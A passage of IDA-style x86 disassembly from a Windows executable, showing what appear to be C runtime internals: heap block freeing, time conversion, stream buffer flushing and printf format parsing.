		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_403936:				; CODE XREF: sub_4038BF+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_403986
		cmp	ecx, 20h
		jnb	short loc_403962
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_403986
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_403986
; ---------------------------------------------------------------------------


loc_403962:				; CODE XREF: sub_4038BF+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_403986
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_403986:				; CODE XREF: sub_4038BF+7Dj
					; sub_4038BF+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_403A54
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_4039C0
		push	3Fh
		pop	edi


loc_4039C0:				; CODE XREF: sub_4038BF+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_403A42
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_403A19
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_403A0C
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_403A0C:				; CODE XREF: sub_4038BF+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_403A3E
; ---------------------------------------------------------------------------


loc_403A19:				; CODE XREF: sub_4038BF+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_403A2F
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_403A2F:				; CODE XREF: sub_4038BF+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_403A3E:				; CODE XREF: sub_4038BF+158j
		shr	edx, cl
		or	[eax], edx


loc_403A42:				; CODE XREF: sub_4038BF+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_403A57
; ---------------------------------------------------------------------------


loc_403A54:				; CODE XREF: sub_4038BF+E5j
		mov	edx, [ebp+arg_4]


loc_403A57:				; CODE XREF: sub_4038BF+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_403BAD
; ---------------------------------------------------------------------------


loc_403A66:				; CODE XREF: sub_4038BF+52j
					; sub_4038BF+5Cj
		xor	eax, eax
		jmp	loc_403BB0
; ---------------------------------------------------------------------------


loc_403A6D:				; CODE XREF: sub_4038BF+49j
		jge	loc_403BAD
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_403A98
		push	3Fh
		pop	esi


loc_403A98:				; CODE XREF: sub_4038BF+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_403B27
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_403AB1
		push	3Fh
		pop	esi


loc_403AB1:				; CODE XREF: sub_4038BF+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_403B00
		cmp	esi, 20h
		jnb	short loc_403ADC
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_403AFD
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_403AFD
; ---------------------------------------------------------------------------


loc_403ADC:				; CODE XREF: sub_4038BF+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_403AFD
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_403AFD:				; CODE XREF: sub_4038BF+214j
					; sub_4038BF+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_403B00:				; CODE XREF: sub_4038BF+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_403B27
		push	3Fh
		pop	esi


loc_403B27:				; CODE XREF: sub_4038BF+1DDj
					; sub_4038BF+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_403BA4
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_403B7B
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403B6E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_403B6E:				; CODE XREF: sub_4038BF+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_403BA0
; ---------------------------------------------------------------------------


loc_403B7B:				; CODE XREF: sub_4038BF+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403B91
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_403B91:				; CODE XREF: sub_4038BF+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_403BA0:				; CODE XREF: sub_4038BF+2BAj
		shr	edx, cl
		or	[eax], edx


loc_403BA4:				; CODE XREF: sub_4038BF+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_403BAD:				; CODE XREF: sub_4038BF+1A2j
					; sub_4038BF:loc_403A6Dj
		push	1
		pop	eax


loc_403BB0:				; CODE XREF: sub_4038BF+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4038BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BB5	proc near		; CODE XREF: sub_402A3C+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_403C71
		cmp	ebx, 8Ah
		jg	loc_403C71
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_409514[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_403BF4
		cmp	edi, 2
		jle	short loc_403BF4
		inc	esi


loc_403BF4:				; CODE XREF: sub_403BB5+37j
					; sub_403BB5+3Cj
		call	sub_4052C5
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_409430
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_403C67
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_403C6D
		cmp	dword_409434, 0
		jz	short loc_403C6D
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_405538
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_403C6D


loc_403C67:				; CODE XREF: sub_403BB5+90j
		add	ecx, dword_409438


loc_403C6D:				; CODE XREF: sub_403BB5+96j
					; sub_403BB5+9Fj ...
		mov	eax, ecx
		jmp	short loc_403C74
; ---------------------------------------------------------------------------


loc_403C71:				; CODE XREF: sub_403BB5+13j
					; sub_403BB5+1Fj
		or	eax, 0FFFFFFFFh


loc_403C74:				; CODE XREF: sub_403BB5+BAj
		pop	ebx
		leave
		retn
sub_403BB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C77	proc near		; CODE XREF: sub_402B47+44p
					; sub_402B97+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_403D80
		test	al, 40h
		jnz	loc_403D80
		test	al, 1
		jz	short loc_403CAF
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_403D80
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_403CAF:				; CODE XREF: sub_403C77+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_403CE9
		cmp	esi, offset dword_409570
		jz	short loc_403CD7
		cmp	esi, offset dword_409590
		jnz	short loc_403CE2


loc_403CD7:				; CODE XREF: sub_403C77+56j
		push	ebx
		call	sub_405AAF
		test	eax, eax
		pop	ecx
		jnz	short loc_403CE9


loc_403CE2:				; CODE XREF: sub_403C77+5Ej
		push	esi
		call	sub_405A6B
		pop	ecx


loc_403CE9:				; CODE XREF: sub_403C77+4Ej
					; sub_403C77+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_403D56
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_403D19
		push	edi
		push	eax
		push	ebx
		call	sub_4058BE
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_403D4C
; ---------------------------------------------------------------------------


loc_403D19:				; CODE XREF: sub_403C77+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_403D34
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_518560[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_403D39
; ---------------------------------------------------------------------------


loc_403D34:				; CODE XREF: sub_403C77+A5j
		mov	eax, offset dword_409398


loc_403D39:				; CODE XREF: sub_403C77+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_403D4C
		push	2
		push	0
		push	ebx
		call	sub_405824
		add	esp, 0Ch


loc_403D4C:				; CODE XREF: sub_403C77+A0j
					; sub_403C77+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_403D6A
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_403C77+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4058BE
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_403D6A:				; CODE XREF: sub_403C77+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_403D76
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_403D85
; ---------------------------------------------------------------------------


loc_403D76:				; CODE XREF: sub_403C77+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_403D88
; ---------------------------------------------------------------------------


loc_403D80:				; CODE XREF: sub_403C77+10j
					; sub_403C77+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_403D85:				; CODE XREF: sub_403C77+FDj
		or	eax, 0FFFFFFFFh


loc_403D88:				; CODE XREF: sub_403C77+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_403C77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D8C	proc near		; CODE XREF: sub_402B47+27p
					; sub_402B97+29p

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_4044A5
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_403DC0
; ---------------------------------------------------------------------------


loc_403DB8:				; CODE XREF: sub_403D8C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_403DC0:				; CODE XREF: sub_403D8C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_4044A5
		cmp	bl, 20h
		jl	short loc_403DE1
		cmp	bl, 78h
		jg	short loc_403DE1
		movsx	eax, bl
		mov	al, byte_408124[eax]
		and	eax, 0Fh
		jmp	short loc_403DE3
; ---------------------------------------------------------------------------


loc_403DE1:				; CODE XREF: sub_403D8C+40j
					; sub_403D8C+45j
		xor	eax, eax


loc_403DE3:				; CODE XREF: sub_403D8C+53j
		movsx	eax, byte_408144[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_404494	; default
		jmp	off_4044AD[eax*4] ; switch jump


loc_403E01:				; DATA XREF: .packed:off_4044ADo
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00403DFA case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403E1C:				; CODE XREF: sub_403D8C+6Ej
					; DATA XREF: .packed:off_4044ADo
		movsx	eax, bl		; jumptable 00403DFA case 2
		sub	eax, 20h
		jz	short loc_403E5F
		sub	eax, 3
		jz	short loc_403E56
		sub	eax, 8
		jz	short loc_403E4D
		dec	eax
		dec	eax
		jz	short loc_403E44
		sub	eax, 3
		jnz	loc_404494	; default
		or	[ebp+var_4], 8
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403E44:				; CODE XREF: sub_403D8C+A4j
		or	[ebp+var_4], 4
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403E4D:				; CODE XREF: sub_403D8C+A0j
		or	[ebp+var_4], 1
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403E56:				; CODE XREF: sub_403D8C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403E5F:				; CODE XREF: sub_403D8C+96j
		or	[ebp+var_4], 2
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403E68:				; CODE XREF: sub_403D8C+6Ej
					; DATA XREF: .packed:off_4044ADo
		cmp	bl, 2Ah		; jumptable 00403DFA case 3
		jnz	short loc_403E90
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40456B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_404494	; default
		or	[ebp+var_4], 4
		neg	eax


loc_403E88:				; CODE XREF: sub_403D8C+111j
		mov	[ebp+var_20], eax
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403E90:				; CODE XREF: sub_403D8C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_403E88
; ---------------------------------------------------------------------------


loc_403E9F:				; CODE XREF: sub_403D8C+6Ej
					; DATA XREF: .packed:off_4044ADo
		mov	[ebp+var_10], edx ; jumptable 00403DFA case 4
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403EA7:				; CODE XREF: sub_403D8C+6Ej
					; DATA XREF: .packed:off_4044ADo
		cmp	bl, 2Ah		; jumptable 00403DFA case 5
		jnz	short loc_403ECA
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40456B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_404494	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403ECA:				; CODE XREF: sub_403D8C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403EDC:				; CODE XREF: sub_403D8C+6Ej
					; DATA XREF: .packed:off_4044ADo
		cmp	bl, 49h		; jumptable 00403DFA case 6
		jz	short loc_403F0F
		cmp	bl, 68h
		jz	short loc_403F06
		cmp	bl, 6Ch
		jz	short loc_403EFD
		cmp	bl, 77h
		jnz	loc_404494	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403EFD:				; CODE XREF: sub_403D8C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403F06:				; CODE XREF: sub_403D8C+158j
		or	[ebp+var_4], 20h
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403F0F:				; CODE XREF: sub_403D8C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_403F28
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_403F28
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403F28:				; CODE XREF: sub_403D8C+186j
					; sub_403D8C+18Cj
		mov	[ebp+var_30], edx


loc_403F2B:				; CODE XREF: sub_403D8C+6Ej
					; DATA XREF: .packed:off_4044ADo
		mov	ecx, off_4090F8	; jumptable 00403DFA case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_403F57
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4044CD
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_403F57:				; CODE XREF: sub_403D8C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4044CD
		add	esp, 0Ch
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_403F6F:				; CODE XREF: sub_403D8C+6Ej
					; DATA XREF: .packed:off_4044ADo
		movsx	eax, bl		; jumptable 00403DFA case 7
		cmp	eax, 67h
		jg	loc_404197
		cmp	eax, 65h
		jge	loc_40401A
		cmp	eax, 58h
		jg	loc_404078
		jz	loc_40420B
		sub	eax, 43h
		jz	loc_40403B
		dec	eax
		dec	eax
		jz	short loc_404010
		dec	eax
		dec	eax
		jz	short loc_404010
		sub	eax, 0Ch
		jnz	loc_404396
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_403FB9
		or	byte ptr [ebp+var_4+1],	8


loc_403FB9:				; CODE XREF: sub_403D8C+227j
					; sub_403D8C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_403FC6
		mov	esi, 7FFFFFFFh


loc_403FC6:				; CODE XREF: sub_403D8C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40456B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_4041DF
		test	ecx, ecx
		jnz	short loc_403FEE
		mov	ecx, off_4090F4
		mov	[ebp+var_8], ecx


loc_403FEE:				; CODE XREF: sub_403D8C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_403FF7:				; CODE XREF: sub_403D8C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_4041D6
		cmp	word ptr [eax],	0
		jz	loc_4041D6
		inc	eax
		inc	eax
		jmp	short loc_403FF7
; ---------------------------------------------------------------------------


loc_404010:				; CODE XREF: sub_403D8C+212j
					; sub_403D8C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_40401A:				; CODE XREF: sub_403D8C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4040FE
		mov	[ebp+var_10], 6
		jmp	loc_40410C
; ---------------------------------------------------------------------------


loc_40403B:				; CODE XREF: sub_403D8C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_404047
		or	byte ptr [ebp+var_4+1],	8


loc_404047:				; CODE XREF: sub_403D8C+2B5j
					; sub_403D8C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_40408E
		call	sub_404588
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_405C0B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_4040A1
		mov	[ebp+var_28], 1
		jmp	short loc_4040A1
; ---------------------------------------------------------------------------


loc_404078:				; CODE XREF: sub_403D8C+1FBj
		sub	eax, 5Ah
		jz	short loc_4040AF
		sub	eax, 9
		jz	short loc_404047
		dec	eax
		jz	loc_404271
		jmp	loc_404396
; ---------------------------------------------------------------------------


loc_40408E:				; CODE XREF: sub_403D8C+2C5j
		call	sub_40456B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_4040A1:				; CODE XREF: sub_403D8C+2E1j
					; sub_403D8C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_404396
; ---------------------------------------------------------------------------


loc_4040AF:				; CODE XREF: sub_403D8C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40456B
		test	eax, eax
		pop	ecx
		jz	short loc_4040F0
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4040F0
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4040E1
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_404396
; ---------------------------------------------------------------------------


loc_4040E1:				; CODE XREF: sub_403D8C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_404393
; ---------------------------------------------------------------------------


loc_4040F0:				; CODE XREF: sub_403D8C+32Fj
					; sub_403D8C+336j
		mov	eax, off_4090F0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_40418C
; ---------------------------------------------------------------------------


loc_4040FE:				; CODE XREF: sub_403D8C+29Dj
		jnz	short loc_40410C
		cmp	bl, 67h
		jnz	short loc_40410C
		mov	[ebp+var_10], 1


loc_40410C:				; CODE XREF: sub_403D8C+2AAj
					; sub_403D8C:loc_4040FEj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_4097D0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_40415E
		cmp	[ebp+var_10], 0
		jnz	short loc_40415E
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4097DC
		pop	ecx


loc_40415E:				; CODE XREF: sub_403D8C+3BCj
					; sub_403D8C+3C2j
		cmp	bl, 67h
		jnz	short loc_404175
		test	esi, esi
		jnz	short loc_404175
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4097D4
		pop	ecx


loc_404175:				; CODE XREF: sub_403D8C+3D5j
					; sub_403D8C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_40418B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_40418B:				; CODE XREF: sub_403D8C+3F0j
		push	edi


loc_40418C:				; CODE XREF: sub_403D8C+36Dj
		call	sub_405B90
		pop	ecx
		jmp	loc_404393
; ---------------------------------------------------------------------------


loc_404197:				; CODE XREF: sub_403D8C+1E9j
		sub	eax, 69h
		jz	loc_404271
		sub	eax, 5
		jz	loc_404247
		dec	eax
		jz	loc_404234
		dec	eax
		jz	short loc_404204
		sub	eax, 3
		jz	loc_403FB9
		dec	eax
		dec	eax
		jz	loc_404275
		sub	eax, 3
		jnz	loc_404396
		mov	[ebp+var_2C], 27h
		jmp	short loc_404212
; ---------------------------------------------------------------------------


loc_4041D6:				; CODE XREF: sub_403D8C+270j
					; sub_403D8C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_404393
; ---------------------------------------------------------------------------


loc_4041DF:				; CODE XREF: sub_403D8C+24Fj
		test	ecx, ecx
		jnz	short loc_4041EC
		mov	ecx, off_4090F0
		mov	[ebp+var_8], ecx


loc_4041EC:				; CODE XREF: sub_403D8C+455j
		mov	eax, ecx


loc_4041EE:				; CODE XREF: sub_403D8C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4041FD
		cmp	byte ptr [eax],	0
		jz	short loc_4041FD
		inc	eax
		jmp	short loc_4041EE
; ---------------------------------------------------------------------------


loc_4041FD:				; CODE XREF: sub_403D8C+467j
					; sub_403D8C+46Cj
		sub	eax, ecx
		jmp	loc_404393
; ---------------------------------------------------------------------------


loc_404204:				; CODE XREF: sub_403D8C+425j
		mov	[ebp+var_10], 8


loc_40420B:				; CODE XREF: sub_403D8C+201j
		mov	[ebp+var_2C], 7


loc_404212:				; CODE XREF: sub_403D8C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_40427C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_40427C
; ---------------------------------------------------------------------------


loc_404234:				; CODE XREF: sub_403D8C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_40427C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_40427C
; ---------------------------------------------------------------------------


